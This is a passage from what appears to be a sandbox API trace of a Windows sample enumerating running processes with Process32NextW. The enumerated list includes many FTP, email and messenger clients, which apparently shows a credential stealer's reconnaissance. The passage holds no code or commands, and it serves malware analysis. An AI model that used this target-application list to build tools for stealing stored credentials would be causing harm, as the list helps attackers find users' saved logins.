pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0156.549] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0156.549] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0156.549] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0156.549] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.550] lstrlenW (lpString="svchost.exe") returned 11 [0156.550] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0156.550] lstrlenW (lpString="dwm.exe") returned 7 [0156.550] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.551] lstrlenW (lpString="svchost.exe") returned 11 [0156.551] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.551] lstrlenW (lpString="svchost.exe") returned 11 [0156.551] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.552] lstrlenW (lpString="svchost.exe") returned 11 [0156.552] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.552] lstrlenW (lpString="svchost.exe") returned 11 [0156.552] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.553] lstrlenW (lpString="svchost.exe") returned 11 [0156.553] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x420, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.553] lstrlenW (lpString="svchost.exe") returned 11 [0156.553] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.554] lstrlenW (lpString="svchost.exe") returned 11 [0156.554] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.554] lstrlenW (lpString="svchost.exe") returned 11 [0156.554] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.554] lstrlenW (lpString="svchost.exe") returned 11 [0156.554] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.555] lstrlenW (lpString="svchost.exe") returned 11 [0156.555] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.555] lstrlenW (lpString="svchost.exe") returned 11 [0156.555] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0156.556] lstrlenW (lpString="audiodg.exe") returned 11 [0156.556] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0156.556] lstrlenW (lpString="sihost.exe") returned 10 [0156.556] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.556] lstrlenW (lpString="svchost.exe") returned 11 [0156.557] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0156.557] lstrlenW (lpString="taskhostw.exe") returned 13 [0156.557] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x784, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0156.558] lstrlenW (lpString="explorer.exe") returned 12 [0156.558] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0156.558] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0156.558] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0156.558] lstrlenW (lpString="Memory Compression") returned 18 [0156.558] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0156.559] lstrlenW (lpString="SearchUI.exe") returned 12 [0156.559] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0156.559] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0156.559] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0156.560] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0156.560] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0156.560] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0156.560] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="tablets_refugees.exe")) returned 1 [0156.561] lstrlenW (lpString="tablets_refugees.exe") returned 20 [0156.561] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="migration dying locations.exe")) returned 1 [0156.561] lstrlenW (lpString="migration dying locations.exe") returned 29 [0156.561] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="college-advance.exe")) returned 1 [0156.561] lstrlenW (lpString="college-advance.exe") returned 19 [0156.561] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel ra execution.exe")) returned 1 [0156.562] lstrlenW (lpString="nickel ra execution.exe") returned 23 [0156.562] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="boompromoterestore.exe")) returned 1 [0156.562] lstrlenW (lpString="boompromoterestore.exe") returned 22 [0156.562] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="metallic.exe")) returned 1 [0156.563] lstrlenW (lpString="metallic.exe") returned 12 [0156.563] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="adjustedfavors.exe")) returned 1 [0156.563] lstrlenW (lpString="adjustedfavors.exe") returned 18 [0156.563] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="brown parade bases.exe")) returned 1 [0156.564] lstrlenW (lpString="brown parade bases.exe") returned 22 [0156.564] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x52c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="specified wales.exe")) returned 1 [0156.564] lstrlenW (lpString="specified wales.exe") returned 19 [0156.564] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="inspiration.exe")) returned 1 [0156.564] lstrlenW (lpString="inspiration.exe") returned 15 [0156.565] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="importance-slot-announcements.exe")) returned 1 [0156.565] lstrlenW (lpString="importance-slot-announcements.exe") returned 33 [0156.565] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred-arrest.exe")) returned 1 [0156.565] lstrlenW (lpString="hundred-arrest.exe") returned 18 [0156.565] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="classbuck.exe")) returned 1 [0156.566] lstrlenW (lpString="classbuck.exe") returned 13 [0156.566] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="x-deutschland.exe")) returned 1 [0156.566] lstrlenW (lpString="x-deutschland.exe") returned 17 [0156.566] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sacred-sword-plc.exe")) returned 1 [0156.567] lstrlenW (lpString="sacred-sword-plc.exe") returned 20 [0156.567] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="laptop_wiring_candy.exe")) returned 1 [0156.567] lstrlenW (lpString="laptop_wiring_candy.exe") returned 23 [0156.567] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lawsuit.exe")) returned 1 [0156.567] lstrlenW (lpString="lawsuit.exe") returned 11 [0156.567] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0156.568] lstrlenW (lpString="3dftp.exe") returned 9 [0156.568] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0156.568] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0156.568] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0156.569] lstrlenW (lpString="alftp.exe") returned 9 [0156.569] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0156.569] lstrlenW (lpString="barca.exe") returned 9 [0156.569] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0156.569] lstrlenW (lpString="bitkinex.exe") returned 12 [0156.570] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0156.570] lstrlenW (lpString="coreftp.exe") returned 11 [0156.570] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0156.571] lstrlenW (lpString="far.exe") returned 7 [0156.571] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0156.572] lstrlenW (lpString="filezilla.exe") returned 13 [0156.572] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0156.572] lstrlenW (lpString="flashfxp.exe") returned 12 [0156.572] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0156.573] lstrlenW (lpString="fling.exe") returned 9 [0156.573] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0156.574] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0156.574] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0156.575] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0156.575] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0156.575] lstrlenW (lpString="icq.exe") returned 7 [0156.575] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0156.576] lstrlenW (lpString="leechftp.exe") returned 12 [0156.576] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0156.577] lstrlenW (lpString="ncftp.exe") returned 9 [0156.577] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0156.577] lstrlenW (lpString="notepad.exe") returned 11 [0156.577] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0156.578] lstrlenW (lpString="operamail.exe") returned 13 [0156.578] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0156.579] lstrlenW (lpString="pidgin.exe") returned 10 [0156.579] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0157.059] lstrlenW (lpString="scriptftp.exe") returned 13 [0157.059] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0157.059] lstrlenW (lpString="skype.exe") returned 9 [0157.059] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0157.060] lstrlenW (lpString="smartftp.exe") returned 12 [0157.060] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0157.061] lstrlenW (lpString="thunderbird.exe") returned 15 [0157.061] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0157.061] lstrlenW (lpString="totalcmd.exe") returned 12 [0157.062] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0157.062] lstrlenW (lpString="trillian.exe") returned 12 [0157.062] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0157.063] lstrlenW (lpString="webdrive.exe") returned 12 [0157.063] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0157.064] lstrlenW (lpString="whatsapp.exe") returned 12 [0157.064] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0157.064] lstrlenW (lpString="winscp.exe") returned 10 [0157.064] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0157.065] lstrlenW (lpString="yahoomessenger.exe") returned 